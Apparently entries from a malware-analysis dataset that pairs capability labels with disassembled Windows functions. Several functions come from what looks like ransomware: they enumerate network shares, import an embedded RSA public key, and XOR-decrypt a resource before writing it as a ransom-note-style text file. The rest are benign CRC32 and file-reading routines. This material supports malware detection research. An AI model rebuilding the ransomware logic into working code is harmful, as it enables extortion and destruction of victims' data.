joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009abc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x140009922
call fcn.14000457c
mov dword [rax], 0x16
call fcn.14000445c
mov eax, 0xffff
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140009904
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x140009904
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x20]
shr ecx, 1
test cl, 1
je 0x140009954
lock or dword [rax + 0x14], 0x10
jmp 0x140009904
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x140009971
mov rcx, qword [rbp + 0x20]
call fcn.14000c024
mov rax, qword [rbp + 0x20]
cmp dword [rax + 0x10], 1
jne 0x140009986
mov rcx, qword [rax]
mov sil, 1
mov r14b, byte [rcx]
jmp 0x14000998c
xor sil, sil
xor r14b, r14b
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x20]
mov rcx, rbx
call fcn.140004dc4
mov rdx, qword [rbp + 0x20]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.14000ba00
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x20]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 2
ja 0x1400099df
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x20]
and dword [rax + 0x10], 0
jmp 0x140009904
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x140009a4b
mov rcx, qword [rbp + 0x20]
call fcn.140004dc4
cmp eax, 0xffffffff
je 0x140009a32
mov rcx, qword [rbp + 0x20]
call fcn.140004dc4
cmp eax, 0xfffffffe
je 0x140009a32
mov rbx, qword [rbp + 0x20]
mov rcx, rbx
call fcn.140004dc4
movsxd rdi, eax
lea r15, [0x1400726c0]
mov rcx, rbx
sar rdi, 6
call fcn.140004dc4
and eax, 0x3f
shl rax, 6
add rax, qword [r15 + rdi*8]
jmp 0x140009a39
lea rax, [0x140071150]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140009a4b
mov rax, qword [rbp + 0x20]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x20]
cmp dword [rax + 0x20], 0x200
jne 0x140009a81
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x140009a7d
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x140009a7d
mov rax, qword [rbp + 0x20]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
test sil, sil
je 0x140009a9f
movzx edx, byte [rcx]
dec dword [rax + 0x10]
shl dx, 8
movzx ecx, r14b
or dx, cx
inc qword [rax]
jmp 0x140009aaa
movzx edx, word [rcx]
add dword [rax + 0x10], 0xfffffffe
add qword [rax], 2
movzx eax, dx
jmp 0x140009909
jmp 0x1400098d0
Function at 0x1400114b0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x18
cmp dword [0x140074498], 0x270
jl 0x140011662
mov dword [rsp + 4], 0
jmp 0x1400114d8
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0xe3
jge 0x140011554
movsxd rax, dword [rsp + 4]
lea rcx, [0x1400744a0]
mov eax, dword [rcx + rax*4]
and eax, 0x80000000
mov ecx, dword [rsp + 4]
inc ecx
movsxd rcx, ecx
lea rdx, [0x1400744a0]
mov ecx, dword [rdx + rcx*4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp + 4]
add eax, 0x18d
cdqe
lea rcx, [0x1400744a0]
mov edx, dword [rsp]
shr edx, 1
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, dword [rsp]
and ecx, 1
mov ecx, ecx
lea rdx, [0x140071c80]
xor eax, dword [rdx + rcx*4]
movsxd rcx, dword [rsp + 4]
lea rdx, [0x1400744a0]
mov dword [rdx + rcx*4], eax
jmp 0x1400114ce
jmp 0x140011560
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0x26f
jge 0x1400115dc
movsxd rax, dword [rsp + 4]
lea rcx, [0x1400744a0]
mov eax, dword [rcx + rax*4]
and eax, 0x80000000
mov ecx, dword [rsp + 4]
inc ecx
movsxd rcx, ecx
lea rdx, [0x1400744a0]
mov ecx, dword [rdx + rcx*4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp + 4]
sub eax, 0xe3
cdqe
lea rcx, [0x1400744a0]
mov edx, dword [rsp]
shr edx, 1
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, dword [rsp]
and ecx, 1
mov ecx, ecx
lea rdx, [0x140071c80]
xor eax, dword [rdx + rcx*4]
movsxd rcx, dword [rsp + 4]
lea rdx, [0x1400744a0]
mov dword [rdx + rcx*4], eax
jmp 0x140011556
mov eax, 4
imul rax, rax, 0x26f
lea rcx, [0x1400744a0]
mov eax, dword [rcx + rax]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
lea rdx, [0x1400744a0]
mov ecx, dword [rdx + rcx]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, 4
imul rax, rax, 0x18c
lea rcx, [0x1400744a0]
mov edx, dword [rsp]
shr edx, 1
mov eax, dword [rcx + rax]
xor eax, edx
mov ecx, dword [rsp]
and ecx, 1
mov ecx, ecx
lea rdx, [0x140071c80]
xor eax, dword [rdx + rcx*4]
mov ecx, 4
imul rcx, rcx, 0x26f
lea rdx, [0x1400744a0]
mov dword [rdx + rcx], eax
mov dword [0x140074498], 0
movsxd rax, dword [0x140074498]
lea rcx, [0x1400744a0]
mov eax, dword [rcx + rax*4]
mov dword [rsp], eax
mov eax, dword [0x140074498]
inc eax
mov dword [0x140074498], eax
mov eax, dword [rsp]
shr eax, 0xb
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
shr eax, 0x12
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
add rsp, 0x18
ret
Function at 0x1400116e0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 8], ecx
mov eax, 4
imul rax, rax, 0
lea rcx, [0x1400744a0]
mov edx, dword [rsp + 8]
mov dword [rcx + rax], edx
mov dword [0x140074498], 1
jmp 0x140011715
mov eax, dword [0x140074498]
inc eax
mov dword [0x140074498], eax
cmp dword [0x140074498], 0x270
jge 0x140011795
mov eax, dword [0x140074498]
dec eax
cdqe
lea rcx, [0x1400744a0]
mov edx, dword [0x140074498]
dec edx
movsxd rdx, edx
lea r8, [0x1400744a0]
mov edx, dword [r8 + rdx*4]
shr edx, 0x1e
mov eax, dword [rcx + rax*4]
xor eax, edx
imul eax, eax, 0x6c078965
add eax, dword [0x140074498]
movsxd rcx, dword [0x140074498]
lea rdx, [0x1400744a0]
mov dword [rdx + rcx*4], eax
movsxd rax, dword [0x140074498]
lea rcx, [0x1400744a0]
movsxd rdx, dword [0x140074498]
lea r8, [0x1400744a0]
mov eax, dword [rcx + rax*4]
mov dword [r8 + rdx*4], eax
jmp 0x140011707
ret
Function at 0x140021590
Capabilities:
Create thread
Enumerate network shares

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov dword [rsp + 0x68], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x90]
xor r8d, r8d
xor edx, edx
mov ecx, 2
call qword [sym.imp.MPR.dll_WNetOpenEnumW]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x1400215fa
jmp 0x1400217f0
mov dword [rsp + 0x44], 0x3e8
mov eax, dword [rsp + 0x44]
imul rax, rax, 0x30
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x48]
mov r8, qword [rsp + 0x38]
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MPR.dll_WNetEnumResourceW]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140021653
jmp 0x1400217f0
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MPR.dll_WNetCloseEnum]
mov qword [rsp + 0x50], 0
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x30], 0
jmp 0x140021690
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x30], eax
jae 0x1400217ca
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp qword [rcx + rax + 0x18], 0
je 0x1400217c5
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 3
je 0x1400216f7
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 9
je 0x1400216f7
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 4
jne 0x140021798
mov edx, 0x104
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x58], rax
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.140002100
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov r8d, 0x104
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rcx + rax + 0x18]
mov rcx, qword [rsp + 0x58]
call fcn.140001cb0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x58]
lea r8, [0x1400213a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x70], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x98], 2
jge 0x1400217c5
mov eax, dword [rsp + 0x98]
inc eax
mov ecx, dword [rsp + 0x30]
imul rcx, rcx, 0x30
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
mov edx, eax
call fcn.140021590
jmp 0x140021686
cmp qword [rsp + 0x60], 0
je 0x1400217dd
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp qword [rsp + 0x38], 0
je 0x1400217f0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
add rsp, 0x88
ret
Function at 0x140021880
Capabilities:
Import public key

Disassembly:
sub rsp, 0x48
movsxd rax, dword [0x140074490]
mov r8, rax
mov rdx, qword [str._____BEGIN_PUBLIC_KEY______MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCUSVlOQww0W6R0PZz_4YF5wCHA_cWsipSNcD19iw752HexeRzGZF442cnamWPamhrNsxuIaoqOY4WoOaziDKLXoKN_wbA5IxsQDd85ZtX0pz96Iwbb24_HGGt3CzurXJSN2wRKnT5oapPCH4VZzxgdtQH_D5cExdRGjp1EWyGQIDAQAB______END_PUBLIC_KEY_____]
lea rcx, [0x140073790]
call fcn.140001cb0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [0x140071c34]
mov qword [rsp + 0x20], rax
lea r9, [0x140072f90]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140073790]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x1400218e3
xor eax, eax
jmp 0x140021984
lea rax, [0x140073ff8]
mov qword [rsp + 0x38], rax
lea rax, [0x140074020]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, dword [0x140071c34]
lea r8, [0x140072f90]
mov edx, 8
mov ecx, 1
call qword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x140021932
xor eax, eax
jmp 0x140021984
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [0x140073fa0]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14002195a
xor eax, eax
jmp 0x140021984
lea r9, [0x140073f90]
mov r8, qword [0x140074020]
mov edx, 1
mov rcx, qword [0x140073fa0]
call qword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
jne 0x140021982
xor eax, eax
jmp 0x140021984
xor eax, eax
add rsp, 0x48
ret
Function at 0x140065c10
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov r8, qword [rsp + 0xa0]
lea rdx, str._sAAA_READ_AAA.TXT
lea rcx, [0x140074030]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [0x140074030]
call fcn.140065ba0
movzx eax, al
test eax, eax
jne 0x140065ddd
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x60], rax
lea r8, str.ID_666_GO
mov edx, 0x9aaa
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x44]
mov r8d, eax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call fcn.140001cb0
mov dword [rsp + 0x40], 0
jmp 0x140065cfc
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jae 0x140065d52
movsxd rax, dword [rsp + 0x40]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, 0x37
idiv ecx
mov eax, edx
cdqe
mov rcx, qword [str.Kfiwer239324kfsdfKLFdsfoewfkdslfOOFEWFKDSL6666666FLDSFjiewqokffewfwgewgGKUJFHGdwsieflkdsKLFdsfoewfkdslfOOFEWFKDSL66]
movsx eax, byte [rcx + rax]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x80]
movsx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov byte [rdx + rcx], al
jmp 0x140065cf2
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, [0x140074030]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
je 0x140065dd2
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
add rsp, 0x98
ret
Function at 0x180002c10
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180002c6d
lea rbx, [0x180057bd0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180002c54
cmp r10, 2
jb 0x180002c54
cmp byte [r9], r8b
jne 0x180002c54
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180002c30
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180002caf
lea rbx, [0x180057bd0]
cmp r8b, 0x23
jne 0x180002c93
cmp byte [r9], r8b
jne 0x180002c93
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180002c80
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180002df0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180002e0a
mov qword [r8], 0
lea rdx, [0x18005792c]
call fcn.180002cc0
mov rbx, rax
test rax, rax
jne 0x180002e2a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180002f03
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180002f03
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180002f03
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180002f03
cmp rdi, 0xffffffffffffffff
je 0x180002f03
mov rax, qword [0x1803c8b30]
test rax, rax
je 0x180002ea0
inc dword [rax + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x180002f03
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x180002ef0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1803c8b30]
test rax, rax
je 0x180002ee5
dec dword [rax + 0xec]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x180002f0c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x180002efe
mov qword [r14], rdi
mov rax, rsi
jmp 0x180002f0e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x1800051a0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0xd0]
lea r8, [0x180057bd0]
movsxd rcx, dword [rcx + 0xc8]
mov r11d, edx
shr r11d, 0x18
mov r9d, edx
shr r9d, 8
mov r10d, edx
shr r10d, 0x10
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r9b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r10b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov rax, qword [0x1803c8b30]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
shr ebx, 8
xor rcx, r11
xor ebx, dword [r8 + rcx*4]
not ebx
cmp dword [rax + 0x3e74], ebx
jne 0x18000522c
mov dword [rax + 0x3e78], ebx
cmp dword [rax + 0x3ec0], ebx
jne 0x18000523b
mov byte [rax + 0x3ec4], 1
cmp dword [rax + 0x3e5c], ebx
jne 0x180005252
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.180017740
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x180005260
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
vmovss xmm2, dword [rcx + 0xe8]
vmovss xmm0, dword [rdx]
vmovss xmm1, dword [rdx + 4]
mov rax, qword [rcx + 0xd0]
lea r10, [0x180057bd0]
vmovss xmm3, dword [rcx + 0xec]
movsxd rcx, dword [rcx + 0xc8]
vsubss xmm4, xmm0, xmm2
vmovss xmm0, dword [rdx + 8]
vmovd r8d, xmm4
mov r9d, dword [rax + rcx*4 - 4]
not r9d
movzx ecx, r9b
shr r9d, 8
vsubss xmm5, xmm1, xmm3
vmovss xmm1, dword [rdx + 0xc]
vmovss dword [rsp], xmm4
movzx eax, byte [rsp]
xor rcx, rax
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
vsubss xmm0, xmm0, xmm2
vmovss dword [rsp + 4], xmm5
vmovss dword [rsp + 8], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 4]
xor rdx, rcx
vsubss xmm2, xmm1, xmm3
vmovss dword [rsp + 0xc], xmm2
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
vmovd r8d, xmm5
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 8]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
vmovd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0xc]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
vmovd r8d, xmm2
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
mov rax, qword [0x1803c8b30]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
not r9d
cmp dword [rax + 0x3e74], r9d
jne 0x180005460
mov dword [rax + 0x3e78], r9d
cmp dword [rax + 0x3ec0], r9d
jne 0x180005470
mov byte [rax + 0x3ec4], 1
mov eax, r9d
add rsp, 0x18
ret
Function at 0x18000f680
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov r8, qword [0x1803c8b30]
lea r10, [0x180057bd0]
movsxd r9, ecx
mov rbx, qword [r8 + 0x3e28]
add rbx, 0xc8
movsxd rdx, dword [rbx]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, r9b
movzx ecx, dil
xor rcx, rax
shr edi, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor edi, dword [r10 + rcx*4]
movzx ecx, dil
xor rdx, rcx
shr edi, 8
shr eax, 0x10
xor edi, dword [r10 + rdx*4]
movzx ecx, dil
shr edi, 8
movzx edx, al
xor rdx, rcx
xor edi, dword [r10 + rdx*4]
movzx ecx, dil
shr edi, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
xor edi, dword [r10 + rdx*4]
not edi
cmp dword [r8 + 0x3e5c], edi
jne 0x18000f725
mov r8, r9
mov edx, 4
mov ecx, edi
call fcn.180017740
mov r8d, dword [rbx]
mov ecx, dword [rbx + 4]
cmp r8d, ecx
jne 0x18000f759
inc r8d
test ecx, ecx
je 0x18000f742
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x18000f747
mov eax, 8
cmp eax, r8d
mov rcx, rbx
cmovg r8d, eax
mov edx, r8d
call fcn.180018810
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1800111a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1803c8040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1803c8b30]
mov edi, ecx
cmp byte [rbx + 0x41cd], 0
jne 0x180011201
cmp byte [rbx + 0x41ce], 0
jne 0x180011201
movsx r9d, word [rbx + 0x52ae]
lea r8, [0x1800578b0]
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.180002b90
test dil, 1
je 0x180011328
jmp 0x180011289
vmovss xmm1, dword [rbx + 0x3830]
vmulss xmm0, xmm1, dword [0x1803bebcc]
vaddss xmm2, xmm0, dword [rbx + 0xd0c]
vmulss xmm1, xmm1, dword [0x1803bebb4]
vaddss xmm0, xmm1, dword [rbx + 0xd10]
movsx r9d, word [rbx + 0x52ae]
lea r8, [0x1800578b0]
xor eax, eax
mov dword [rbx + 0x3f34], 1
vmovss dword [rbx + 0x3f44], xmm0
vmovss dword [rbx + 0x3f40], xmm2
mov qword [rbx + 0x3f48], rax
lea rcx, [rsp + 0x20]
vmovss xmm0, dword [rbx + 0x388c]
vmulss xmm1, xmm0, dword [0x1803beaa4]
or dword [rbx + 0x3f30], 0x41
mov edx, 0x10
vmovss dword [rbx + 0x3f90], xmm1
call fcn.180002b90
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x1800112e0
lea r11, [0x180057bd0]
nop dword [rax]
cmp r9b, 0x23
jne 0x1800112c3
cmp byte [r8], r9b
jne 0x1800112c3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x1800112b0
not ecx
call fcn.18000a420
test rax, rax
je 0x180011328
cmp byte [rax + 0x8e], 0
je 0x180011328
mov byte [rax + 0x95], 1
lea r8, [0x1800578b0]
mov byte [rax + 0xb0], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x52ae]
mov edx, 0x10
movsx r9d, word [rbx + 0x52ae]
